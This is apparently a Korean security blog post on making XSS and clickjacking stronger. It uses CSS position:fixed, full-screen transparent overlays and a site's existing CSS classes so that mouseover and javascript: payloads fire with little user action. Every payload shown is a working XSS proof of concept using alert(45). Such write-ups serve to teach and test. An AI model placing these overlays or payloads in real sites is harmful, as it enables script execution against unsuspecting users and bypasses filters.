Intro
XSS는 영향력 대비 발견 가능성이 높은 취약점입니다. 또한 다른 Code base(Injection 등)의 취약점과 같이 연구하는 재미도 쏠쏠하고 사람에 따라 뚫을 수 있는 범위가 확실히 드러나는 취약점이기도 하죠.
오늘은 XSS나 ClickJacking의 영향력을 좀 더 강하게 발휘하는 방법에 대해 이야기할까 합니다.
대표적으로 아래와 같은 XSS 들은 즉시 발동이 가능하여 사용자의 액션없이도 스크립트 실행이 가능합니다.
<script>alert(45)</script>
<img src="z" onerror=alert(45)>
<svg/onload=alert(45)>
등등..
그러나 필터링 조건에 따라 우리는 아래와 같은 코드로 구성하는 경우도 많습니다.
<img src="z" onmouseover=alert(45)>
<input type="text" value="your input" onmouseenter=alert(45) a="">
때론.. 태그로 장난을 치기도 하죠. (다만 모바일에서 보면 링크 내용을 볼 수 없어 낚이기 쉽다는..)
<a href="javascript:alert(45)">
이런 종류의 코드들은.. 마우스를 위로 가져간다던가, 사용자의 클릭이 필요한다는 둥 이벤트 핸들러를 만족하기 위한 조건이 필요합니다. 그래서 맨위 즉시 발동이 가능한 코드에 비해 영향력이 떨어지긴하죠.
CSS와 약간의 트릭을 이용해 우리는 XSS를 조금 더 완성 시킬 수 있습니다. (영향력 강화! / 그래야 개발자가 더 잘 고친다는 소문이..)
position:fixed
첫번째로 이야기드릴 것은 CSS의 position 입니다. 웹 UI나 Design에 관심이 있으시면 익숙하겠지요. position은 웹 상에서의 위치를 의미합니다. 기본적으로는 마치 스택과 같이 DOM 영역에 차곡차곡 쌓이게 되나 position을 이용해서 위치를 고정하거나, 다른형태로 유지할 수 있습니다.
static - 기본값으로 위치정보를 임의로 설정 해줄 수 없다. absolute - 절대위치로, 문서 최 좌측상단을 기준으로 위치정보를 설정하며 스크롤시 이동한다. relative - 상대위치로, static 위치 사용시 있던 위치를 기준으로 이동한다. fixed - 위치 고정으로, 스크롤과 상관없이 항상 문서 최 좌측상단을 기준으로 좌표가 설정되어있다. inherit - 부모 태그의 속성값을 상속받게 된다. http://div.or.kr/css-studying/position%20%EC%86%8D%EC%84%B1
속성에 들어가는 값은 위와같이 여러가지가 있습니다. 우리는 이 중 fixed에 주목해야합니다. position:fixed는 해당 object를 DOM 영역에 고정시킬 수 있습니다. 대표적으로 많이 쓰이는게.. 스크롤을 내려도 고정된 메뉴창 이런곳이죠.
그럼 간단하게 코드를 하나 만들어볼까요?
<div style="position:fixed; top:20px; left:30px">
하하하하
</div>
하하하하 가 웹 페이지 좌측 상단쯤에 고정될겁니다. 우리는 이걸 약간 공격에 활용할 수 있습니다.
<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%">
<img src="z" onmouseover=alert(45) width=100% height=100%>
</div>
이렇게 되면.. 태그가 좌측 상단 시작점(0,0)에 고정되고 너비,높이 모두 100%로 전체 화면을 채우는 이미지 영역이 생기게 됩니다.
이 영역에 마우스가 올라간 순간 alert() 함수는 동작하게 되죠. 그러면 피해자는 페이지에 접근하는 것 만으로도 별다른 액션없이 스크립트가 동작하게 됩니다.
이런 형태로 조금 더 영향력을 올릴 수 있습니다.
transparent layer
위에 내용을 조금 더 응용하면 재미있는 걸 할 수 있습니다. 바로 투명한 레이어를 만드는겁니다. 방법은 여러가지가 있겠지만.. 아까 헀던 코드 기준으로 설명드리죠.
<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%">
<img src="z" onmouseover=alert(45) width=100% height=100%>
</div>
와 같이 전체를 덮는 코드가 있다면 img의 src를 투명한 이미지로 주어 사용자를 낚을 수 있습니다. 구글에 transparent background 나 transparent image 로 검색하면 많이 나옵니다.
그럼 하나의 더 고민이 생깁니다. 이미지 태그가 아니면 어떻게하죠?
그럴 경우 background-image를 이용해서 투명한 이미지를 영역의 배경화면으로 로드하거나 의미없는 문자를 사용하여 마치 투명한 창처럼 위장할 수 있습니다.
<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%;background-image:url('투명이미지주소');">
<a href="javascript:alert(45)"><a/>
</div>
또는…
<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%;">
<a href="javascript:alert(45)"> <a/> <!--저 안의 공백은 �(ㄱ>한자>1)입니다. -->
</div> <!-- 일반적인 space bar( )과는 다르죠 -->
 |
|---|
| 이런 형태의 트릭이 가능하죠. |
class or id in style tag/css file
마지막으로 최근에 생각난 좋은 방법입니다. 웹 사이트에는 많은 CSS들이 사용되고 있습니다. 그 중에는 분명 fixed를 이용하거나 100%, 100%등 크기에 관련된 css 들이 많습니다. 대표적으로 GNB, LNB, SNB 등 고정메뉴에 사용되죠.
사용할 수 있는 속성이나 문자에 제한이 있을 때 우리는 이 CSS를 사용하여 위처럼 꾸밀 수 있습니다.
예를들어..
.iamGNB{
position:fixed;
left:0;
top:0;
}
#iamGNB2{
position:fixed;
left:0;
top:0;
}
<div class="iamGNB"> <!-- .이나 그냥 작성되면 class -->
<a href="javascript:alert(45)"><a/>
</div>
<div class="iamGNB2"> <!-- #의 경우는 id -->
<a href="javascript:alert(45)"><a/>
</div>
이런 형태로 css가 정의되어 있다고 하면 각 태그에서 class나 id로 적용시킬 수 있습니다.